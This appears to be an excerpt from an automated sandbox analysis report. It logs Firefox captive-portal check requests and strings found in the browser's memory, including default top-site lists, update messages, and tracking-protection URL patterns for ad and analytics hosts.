Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3397387815.00000138491A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3397387815.00000138491A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3423226571.000001384A709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3422545698.000001384A605000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.3375885789.0000013845957000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000025.00000002.3375885789.0000013845957000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools-commandkey-accessibility-f12resource:///modules/PanelMultiView.sys.mjsdevtools-commandkey-javascript-tracing-toggledevtools-commandkey-responsive-design-modedevtools/client/framework/devtools-browserJSON Viewer's onSave failed in startPersistencedevtools-commandkey-toggle-toolbox-f12resource://gre/modules/WebChannel.sys.mjsresource://devtools/shared/loader/Loader.sys.mjsdevtools-commandkey-toggle-toolboxdevtools-commandkey-profiler-start-stop^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$resource://devtools/shared/security/socket.jsbrowser and that URL. Falling back to DevTools telemetry entry point failed: devtools.debugger.features.javascript-tracingdevtools.debugger.remote-websocketUnable to start devtools server on and deploy previews URLs are allowed.devtools/startup/key-shortcuts.ftlresource://devtools/server/devtools-server.jsdevtools-commandkey-browser-toolbox@mozilla.org/dom/slow-script-debug;1devtools-commandkey-profiler-capture{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}releaseDistinctSystemPrincipalLoaderdevtools-commandkey-browser-consoledevtools.performance.popup.feature-flagdevtools.performance.recording.ui-base-urlDevToolsStartup.jsm:handleDebuggerFlagGot invalid request to save JSON datadevtools/client/framework/devtoolsbrowser.fixup.domainsuffixwhitelist.{33d75835-722f-42c0-89cc-44f328e56a86}gecko.handlerService.defaultHandlersVersionWebChannel/this._originCheckCallback^([a-z+.-]+:\/{0,3})([^\/@]+@).+resource://gre/modules/FileUtils.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sFailed to execute WebChannel callback:get 